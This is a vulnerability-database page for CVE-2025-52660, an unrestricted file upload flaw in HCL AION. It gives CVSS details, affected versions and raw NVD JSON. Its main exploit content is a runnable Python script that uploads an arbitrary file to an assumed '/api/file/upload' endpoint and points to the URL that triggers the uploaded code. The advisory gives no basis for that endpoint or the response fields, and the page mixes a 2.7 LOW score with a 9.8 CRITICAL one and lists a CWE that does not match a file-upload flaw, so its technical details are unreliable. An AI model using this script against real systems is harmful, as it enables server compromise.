Security Vulnerability Report
中文
CVE-2025-52660 CVSS 2.7 LOW

CVE-2025-52660

Published: 2026-01-19 18:16:04
Last Modified: 2026-04-25 18:05:15

Description

HCL AION is affected by an Unrestricted File Upload vulnerability. This can allow malicious file uploads, potentially resulting in unauthorized code execution or system compromise.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:aion:2.0.0:*:*:*:*:*:*:* - VULNERABLE
HCL AION 版本 <= 漏洞披露前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-52660 PoC - HCL AION Unrestricted File Upload # Usage: python poc.py <target_url> <file_path> [auth_token] def upload_malicious_file(target_url, file_path, auth_token=None): """ PoC for CVE-2025-52660: HCL AION Unrestricted File Upload This script demonstrates how an authenticated user with high privileges can upload arbitrary files to the HCL AION server. """ upload_endpoint = f"{target_url.rstrip('/')}/api/file/upload" headers = {} if auth_token: headers['Authorization'] = f'Bearer {auth_token}' try: with open(file_path, 'rb') as f: files = {'file': (file_path, f, 'application/octet-stream')} response = requests.post(upload_endpoint, files=files, headers=headers, timeout=30) if response.status_code == 200: result = response.json() if result.get('success'): file_url = result.get('file_url') print(f"[!] File uploaded successfully!") print(f"[!] Access URL: {file_url}") print(f"[!] Note: If server misconfigures script execution, visit URL to trigger code") return file_url else: print(f"[*] Upload failed: {result.get('message')}") return None else: print(f"[*] HTTP Error: {response.status_code}") return None except Exception as e: print(f"[!] Error: {str(e)}") return None if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python poc.py <target_url> <file_path> [auth_token]") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] token = sys.argv[3] if len(sys.argv) > 3 else None upload_malicious_file(target, file_path, token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52660", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:03.797", "lastModified": "2026-04-25T18:05:15.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL AION is affected by an Unrestricted File Upload vulnerability. This can allow malicious file uploads, potentially resulting in unauthorized code execution or system compromise."}, {"lang": "es", "value": "HCL AION está afectado por una vulnerabilidad de carga de archivos sin restricciones. Esto puede permitir cargas de archivos maliciosos, lo que podría resultar en ejecución de código no autorizada o compromiso del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-644"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aion:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "BEBB7E38-04AE-436B-8F21-65FF3CA3CECC"}]}]}], "references": [{"url": "https://support.hcl-software.com/kb_view.do?sys_kb_id=4b92474633de7ad4159a05273e5c7b4b&searchTerm=kb0127995#", "source": "[email protected]", "tags": ["Permissions Required"]}]}}